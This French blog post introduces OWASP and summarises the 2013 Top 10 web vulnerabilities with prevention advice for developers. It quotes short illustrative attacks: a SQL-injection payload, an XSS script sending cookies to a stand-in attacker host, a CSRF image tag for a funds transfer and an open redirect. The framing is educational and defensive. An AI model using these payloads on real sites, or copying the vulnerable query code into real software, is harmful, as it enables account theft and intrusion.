OWASP est en passe de mettre à jour son top 10 en version 2013 (release candidate), une occasion de revenir sur cet organisme et de faire une rapide présentation de ce fameux classement.
L’objectif principal de cette organisation est de produire des outils, documents et standards dédiés à la sécurité des applications Web ainsi que de sensibiliser les entreprises et utilisateurs autour de la sécurité sur le WEB. Tous ses livrables (documentations, logiciels, référentiels) sont fournis sous le modèle du libre.
Les projets les plus intéressants d’OWASP sont de type documentation et outils, comme par exemple :
- Le Top 10, décrit un peu plus loin, il référence selon eux les 10 failles de sécurité les plus importantes et répandues sur le web. La plupart des audits de sécurité et outils spécialisés se basent sur ce Top 10.
- Un Guide de développement, qui est aujourd’hui bien obsolète mais est en projet de réécriture (pour les langages Php, .Net et Java)
- Les Cheat Sheets qui sont plus intéressantes et donnent plus de détails sur la détection, la prévention et la corrections de failles de sécurité
- Webscarab est un outil assez complexe permettant de ‘tester’ une application web avec par exemple un spider, un proxy, outil de scripting etc…
- AntiSamy est une librairie aidant la détection de code ‘malicieux’ dans les données rentrées par l’utilisateur.
- ZAP (Zed Attack Proxy) qui est un webscarab plus accessible (j’y reviendrai dans un futur article).
Lors du développement d’une application web, la sécurité est rarement la priorité du développeur, on identifie facilement les cas d’utilisation nécessitant une attention particulière (authentification, tunnel d’achat etc…) et on porte peu d’attention aux autres fonctionnalités de l’application. Pourtant les technologies liées au web sont de véritables gruyères si on ne prends pas quelques précautions (connaissez vous google-gruyere ?).
Le Top 10 d’OWASP a pour but de sensibiliser et d’informer les développeurs sur les failles les plus importantes liées aux technologies du web. Prendre un peu de temps pour lire et s’approprier ce top ten est une étape indispensable dans la vie du bon développeur web.
Un nouvelle version de ce classement d’une vingtaine de pages est en Release Candidate (peu de changements sont à prévoir avant sa validation), il établi un classement de risque (en prenant en compte la détection, l’exploitation et l’impact de chaque faille) et présente rapidement un moyen de détection et de prévention. Voici un rapide résumé :
L’injection: la plus connue est évidemment l’injection SQL, mais elle peut concerner d’autres langages (shell, LDAP etc…). C’est une des plus vieilles failles connues mais c’est également la plus dangereuse ! Et l’utilisation de framework ORM ne protège pas toujours de cette faille (requête dynamique sans criteria…). Un exemple de code vulnérable :
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") +"'";
En récupérant directement le paramètre de requête sans contrôle, permet à l’utilisateur d’exécuter n’importe quel requête SQL avec une requête http du style :
http://example.com/app/accountView?id=' or '1'='1
Bref, pas de concaténation directe de paramètres venant d’une requête utilisateur pour un appel sql, une ligne de commande, une requête SOAP etc… Préférer l’utilisation des API avec paramètres (un PreparedStatement ou NamedQuery par exemple) ou contrôler les inputs utilisateurs.
Broken Authentication and Session Management : gestion de l’authentification et de la session. Est-il possible de voler une session ou récupérer un mot de passe ? C’est un sujet vaste et épineux et il est plutôt recommandé de se reposer sur des frameworks et outils pour cette partie (serveurs d’application, spring security). En vrac, quelques exemples :
- Ne pas réécrire le sessionId dans l’url (paramétrage à vérifier sur le serveur)
- Renouveler le sessionId à l’authentification et au passage vers du Https (propre à l’application, Liferay est configuré ainsi par défaut)
- Vérifier le timeout de la session (paramétrage de la web app)
- Crypter le stockage des mots de passes et des données sensibles
- Utiliser le https à l’authentification…
Cross-Site Scripting: le fameux XSS ! Il est classé troisième à cause de sa fréquence et sa facilité de mise en oeuvre, son exploitation est rarement grave. Il consiste la plupart du temps à faire exécuter du javascript non prévu par votre application. Comme pour l’injection, le problème viens du manque de contrôle de l’input utilisateur. Il suffit de réécrire dans la page web l’input utilisateur pour créer une XSS:
(String) page += " <input type="TEXT‘ value=" name="creditcard" />";
Si le paramètre CC contient un script javascript, il peut simplement voler le cookie de l’utilisateur et le rediriger vers un site malveillant :
'><script type="text/javascript">// <![CDATA[ document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie // ]]></script>'.
Le plus simple est d’échapper correctement les données venant d’une source suspicieuse (l’utilisateur !), la plupart des outils et frameworks (taglib jstl, velocity) le font en standard, mais ce n’est pas toujours le cas, par exemple une EL directement dans la page HTML n’échappe pas par défaut les valeurs, bref à vérifier au début du projet. Un méthode simple de les trouver est de rentrer dans tous les inputs de formulaire des ‘alert’ javascripts.
Insecure Direct Object References : Cas classique : l’id de la données actuellement visualisée est un paramètre de la requête HTTP. En changeant cet ID, il est possible de consulter toutes les données si aucun contrôle d’accès à la donnée n’est effectué. Cela peut être très problématique sur les données utilisateurs ou pire, sur un site d’une banque! Un exemple :
String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = connection.prepareStatement(query , … ); pstmt.setString( 1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery( );
Avec un tel code, on peut consulter tous les comptes très facilement :
http://example.com/app/accountInfo?acct=notmyacct
Deux solutions, soit utiliser des nouveaux identifiants non liés à la base de données relatifs à l’utilisateur, soit vérifier les droits d’accès pour chaque données récupérées.
Security Misconfiguration: nous utilisons toujours beaucoup d’outils pour nos projets (serveur web, application, base de données, framework…), combien de fois laissons nous les valeurs par défaut de la configuration des ces outils ? Il est important d’étudier la configuration de chacun et de désactiver tout ce dont le projet n’a pas besoin. Quelques exemples :
- Mise à jour récente de l’outil, il y a toujours des failles…
- Comptes et mot de passe par défaut
- Gestion des messages d’erreur (pas de stacktrace…)
- Les applications par défaut du serveur (JMX-console…)
- Mode développement désactivé ?
- Configuration HTTP : retirer les headers superflus avec RequestHeader unset (version du serveur etc…), retirer le directory listing…
Sensitive Data Exposure: protection des données sensibles, les mots de passes, les numéros de carte de paiement, les données santés ou personnels doivent être cryptés et leurs confidentialité doit être maintenues sur toute la chaîne avec l’utilisation du SSL :
- Ne pas stocker les données sensibles dont vous n’avez pas besoin
- Utiliser les bons algorithmes avec des clefs fortes.
- Retirer les autocomplete des formulaires web sur ces données.
- Ne pas utiliser les cryptages ‘automatiques’ de bases de données ou système de fichiers, une injection rends ces fonctionnalités inutiles.
Missing Function Level Access Control : contrôler l’accès aux fonctionnalités (pages) proposées par l’application, un utilisateur lambda ne doit pas pouvoir accéder et utiliser les fonctionnalités d’administration. Généralement un contrôle sur l’url ou sur un paramètre (action par exemple) permet de résoudre ce soucis. Faites ce contrôle de manière globale (règle apache, servletFilter ou mieux Spring Security).
Cross-Site Request Forgery (CSRF) : faille assez complexe, elle consiste à forcer un utilisateur a exécuter une requête à son insu. Par exemple, une iframe ou une image d’un site tiers a pour source une URL de votre application. Si cette url est celle correspondant à une demande de virement bancaire et que l’utilisateur est déjà connecté au sein du même navigateur, la requête est lancée et interprétée par vote application en visitant simplement le site tiers :
<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
Cela s’applique évidemment à toutes les urls, comme les urls d’administration (delete all…). Deux solutions pour éviter le CSRF :
- Rajouter un token lié à la session utilisateur à chaque génération de lien vers les fonctionnalités ‘critiques’. Ce token est vérifié à l’execution de la requête en s’assurant que c’est bien le user qui a généré le token du lien. Cette solution est préférable.
- Redemander à l’utilisateur de rentrer à nouveau son mot de passe pour confirmer l’action.
Using Components with Known Vulnerabilities : Semi nouveauté de cette mise à jour du top 10, elle est un peu liés à la 5, OWASP met en garde sur l’utilisation de composants tiers dans nos développements, notamment les composants open source. Il est important de se documenter sur les failles connues des outils que nous utilisons, même CXF ou Spring ont eu leur failles critiques, il faut rester à jour. Plusieurs sites référencent les failles connues :
Unvalidated Redirects and Forwards : Faille classique et simple à corriger, nous avons souvent besoin d’implémenter des redirect ou des forward génériques dans nos applications. Il faut vérifier la destination de ces redirections avant de les effectuer, ne pas accepter les redirection n’allant pas sur votre site :
http://www.example.com/redirect.jsp?url=evil.com
Le mieux étant de ne pas utiliser les redirections.